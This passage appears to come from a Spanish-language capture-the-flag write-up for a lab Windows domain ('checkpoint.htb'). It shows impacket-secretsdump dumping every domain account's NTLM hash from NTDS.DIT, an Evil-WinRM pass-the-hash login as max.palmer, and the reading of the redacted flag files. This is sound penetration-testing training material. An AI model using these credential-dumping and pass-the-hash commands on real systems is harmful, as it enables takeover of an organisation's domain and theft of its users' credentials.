$ impacket-secretsdump checkpoint.htb/Administrator@checkpoint.htb -hashes :f29e9c014295b9b32139b09a2790be3b
...
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:015e3bf70a412ef82b604fae3b1c30e8:::
checkpoint.htb\alex.turner:1101:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
checkpoint.htb\mark.davies:1102:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
checkpoint.htb\ryan.brooks:1103:aad3b435b51404eeaad3b435b51404ee:82d044eb259e495fd92a52b2ccece067:::
checkpoint.htb\svc_deploy:1104:aad3b435b51404eeaad3b435b51404ee:e16081eb077aca74bdbf8af12af43ac9:::
checkpoint.htb\james.harper:1111:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
...
max.palmer:5101:aad3b435b51404eeaad3b435b51404ee:7d7670c154bf5439523729639c6d2f16:::
...
Nos autenticamos como max.palmer usando el hash NT recuperado 7d7670c154bf5439523729639c6d2f16.
$ evil-winrm -i DC01.checkpoint.htb -u max.palmer -H 7d7670c154bf5439523729639c6d2f16
...
*Evil-WinRM* PS C:\Users\max.palmer\Documents> whoami
checkpoint\max.palmer
Flags
Los flags fueron recuperados con éxito durante la sesión administrativa final:
*Evil-WinRM* PS C:\Users\max.palmer\Documents> type c:\users\ryan.brooks\desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\max.palmer\Documents> type c:\users\max.palmer\desktop\root.txt
<REDACTED>